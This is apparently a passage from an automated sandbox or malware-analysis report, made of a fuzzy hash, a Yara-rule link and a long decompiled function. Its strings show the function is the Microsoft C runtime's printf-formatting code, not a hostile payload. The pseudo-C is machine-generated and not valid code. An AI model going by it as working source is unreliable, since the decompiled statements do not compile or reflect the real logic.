Instruction Fuzzy Hash: E9410471D05628CFDB24CF58C899BEEB7B5BB88304F2491DAD008A7240C7396E81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00427BE8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427BE8() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E004355C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435600( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004355C0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435600(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E004340D0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E00435600( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E004355C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C3E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004280F8))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E004310C0( *(_t524 - 0x251) & 0x000000ff, E0041ACF0(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00435520( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00435520( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E220();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422D10(_t509))) = 0x16;
																	E00422AA0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041ACC0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x428130; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428118))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x428158; // 0x7a0f9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428144))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x4281c4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00428188))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041ACF0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0x4b3bc1ec
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0x4b248c6c
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
